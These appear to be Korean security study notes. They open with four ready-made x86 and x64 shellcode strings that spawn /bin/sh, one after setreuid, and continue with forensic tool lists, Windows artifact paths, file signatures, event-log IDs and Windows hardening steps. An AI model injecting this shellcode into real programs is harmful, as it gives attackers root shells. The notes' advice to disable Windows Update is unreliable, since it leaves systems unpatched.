	 id())포함	\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
48	\x2f없는 것	\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
64bit
23	\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
31	\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05


ⅩⅦ Reversing hacking




ⅩⅧ Forensic
volatility		image의 메모리, 파일 덤프
String.exe		exe file을 string으로 바꿔줌
Win prefetch view	
Autoruns		자동실행 프로그램의 정보를 보여줌
DB browser for SQLite	Chrome history file view
ProcessExplorer		Process status 
FTK Imager
Ghidra			Assembly code 분석
Registry explorer	registry 분석
HxD

Web artifect
Internet explorer 9이전
Cache: %UserProfile%\AppData\Local\Microsoft\Windows\Temporary Internet Files
History: %UserProfile%\AppData\Local\Microsoft\Windows\History
Cookie: %UserProfile%\AppData\Roaming\Microsoft\Windows\Cookies
Download: %UserProfile%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory
Internet explorer 10이후
통합: %UserProfile%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV??.dat

File signature
┌───────────────┬───────────────────────┬───────────────────────┐
│File type	│Header signature	│Footer signature	│
├───────────────┼───────────────────────┼───────────────────────┤
│JPEG		│FF D8 FF E0		│FF D9			│
│PNG		│89 50 4E 47 0D 0A 1A 0A│49 45 4E 44 AE 42 60 82│
│PDF		│25 50 44 46 2D 31 2E	│25 25 45 4F 46		│
│ZIP		│50 4B 03 04		│50 4B 05 06		│
└───────────────┴───────────────────────┴───────────────────────┘

Event log
┌───────────────┬───────────────┬───────────────────────────────────────────────────────┐
│구분		│이벤트 ID	│							│
├───────────────┼───────────────┼───────────────────────────────────────────────────────┤
│USB 연결	│처음 연결	│2003, 2004, 2006, 2010, 2100, 2101, 2105, 2106, 	│
│		│		│10000, 10002, 10100, 20001, 20003, 24576, 24577, 24579	│
│		├───────────────┼───────────────────────────────────────────────────────┤
│		│연결		│2003, 2004, 2005, 2006, 2010, 2100, 2101, 2105, 2106	│
│		├───────────────┼───────────────────────────────────────────────────────┤
│		│해제		│2003, 2004, 2006, 2010, 2100				│
└───────────────┴───────────────┴───────────────────────────────────────────────────────┘
┌───────────────┬───────────────────────────────────────────────────────────────────────────────┬───────┐
│구분		│이벤트ID									│	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│프로그램	│실행한 프로그램 및 설치경로, 확인자 이름					│17	│
│설치		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│Office 프로그램	종류, 알림 내용						│300	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│공유폴더 사용	│개체에 대한 핸들 요청, 개체, 프로세스 정보, 액세스 요청 정보			│4656	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│개체 접근 관련 정보, 개체 이름, 접근 프로세스 ID, 이름, 접근 정보 요청		│4663	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│네트워크 공유 개체가 액세스됨, 제목, 네트워크 정보, 공유 정보, 액세스 요청 정보│5140	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│프린터 사용	│문서 인쇄 완료									│307	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│작업 인쇄 중									│801	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│작업 삭제 중									│802	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│인쇄 작업이 프린터로 전송됨							│842	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│원격 연결/해제	│RDP ClientActiveX가 서버에 연결하려고 함					│1024	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│클라이언트가 서버에 대한 다중 연결을 시작함					│1102	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│도메인에 연결 완료, 도메인 이름						│1027	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│프로세스가 끝남, 주체, 프로세스 정보						│4689	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│PC 시작/종료	│운영체제가 시작됨, 시스템 시간							│12	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│시스템 작동시간								│6013	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│운영체제가 종료됨, 시스템 시간							│13	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│컴퓨터의 전원 끄기/다시 시작을 수행함, 컴퓨터 이름, 종료 유형			│1074	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│로그온/오프	│사용자 로그온 알림을 받음							│1	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│사용자 로그온 알림 프로세스 완료						│2	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│사용자 로그오프 알림을 받음							│3	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│사용자 로그오프 알림 프로세스 완료						│4	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│명시적 자격 증명을 사용하여 로그온을 시도, 주체, 자격 증명이 사용된 계정	│4648	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│고객 경험 개선프로그램을 위한 사용자 로그오프 알림				│7002	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│시스템 시간	│시스템 시간 변경 내역, 변경 이유						│1	│
│변경		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│변경한 날짜 및 시간 정보							│20000	│
│		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│변경한 표준 시간대 정보							│20001	│
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│파일 조작 여부	│개체가 삭제됨, 계정 이름, 개체 조작 ID, 프로세스 정보				│4660	│
│확인		├───────────────────────────────────────────────────────────────────────────────┼───────┤
│		│개체에 액세스하려고 시도됨, 개체 이름, 접근 프로세스 ID, 이름, 접근 요청 정보	│4663	│
└───────────────┴───────────────────────────────────────────────────────────────────────────────┴───────┘

ⅩⅨWeb


secpol.msc		로컬보안정책
보안 설정 > 계정 정책 > 암호 정책 > 암호는 복잡성을 만족해야 함: 사용
보안 설정 > 계정 정책 > 암호 정책 > 최대 암호 사용 기간: 90일
보안 설정 > 계정 정책 > 암호 정책 > 최소 암호 길이: >9 문자
보안 설정 > 계정 정책 > 암호 정책 > 최소 암호 사용 기간: >1 일
보안 설정 > 계정 정책 > 암호 정책 > 해독 가능한 암호화를 사용하여 암호 저장: 사용 안 함
보안 설정 > 계정 정책 > 암호 정책 > 최근 암호 기억: >4개 암호 기억됨
보안 설정 > 계정 정책 > 계정 잠금 정책 > 계정 잠금 기간: >60 분
보안 설정 > 계정 정책 > 계정 잠금 정책 > 계정 잠금 임계값: 5 번의 잘못된 로그온 시도
보안 설정 > 계정 정책 > 계정 잠금 정책 > 다음 시간 후 계정 잠금 수를 원래대로 설정: >60 분

보안 설정 > 로컬 정책 > 보안 옵션
계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한: 사용Everyone 사용 권한을 익명 사용자에게 적용: 사용 안 함
대형 로그온: 마지막 사용자 이름 표시 안 함: 사용


gpedit.msc		로컬그룹정책편집기

lusrmgr.msc		로컬 사용자 및 그룹 사용자
로컬 사용자 및 그룹(로컬) > 사용자 > Guest > 속성
계정사용안함 체크
로컬 사용자 및 그룹(로컬) > 그룹 > Administrators > 속성
구성원에서 불필요한 계정 제거

sysdm.cpl		시스템 속성
원격 > 원격 데스크톱 > 이 컴퓨터에 대한 원격요연결 허용 안 함
또는 이 컴퓨터에 대한 원격 연결 허용 > 사용자 선택 확인할 것

fsmgmt.msc		공유 폴더
공유 폴더(로컬) > 공유
C$, D$, E$, ADMIN$ 오른쪽 클릭 > 공유 중지
일반 공유 디렉토리가 없거나 접근 권한에 Everyone 권한이 없어야 함

regedit		레지스트리 편집기
HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parametrs > AutoShareWkS: 0 또는 AutoShareServer: 0

services.msc		서비스
서비스(로컬) > Windows Update > 속성
Windows Update 속성
시작 유형: 사용 안 함
서비스 상태: 중지

ncpa.cpl		네트워크 연결
이더넷 오른쪽 클릭 > 속성
Ethernet0 속성

서비스(로컬) > IIS Admin Service > 속성
IIS Admin Service 속성
일반 > 시작 유형: 사용 안 함
일반 > 서비스 상태: 중지
또는
로그온 > 계정 지정: 찾아보기를 눌러 지정

시작 > server manager		서버 관리자
도구 > IIS(인터넷 정보 서비스) 관리자
WIN-657P3PMUAVG > 디렉터리 검색
사용안함 설정
WIN-657P3PMUAVG > CGI

tag: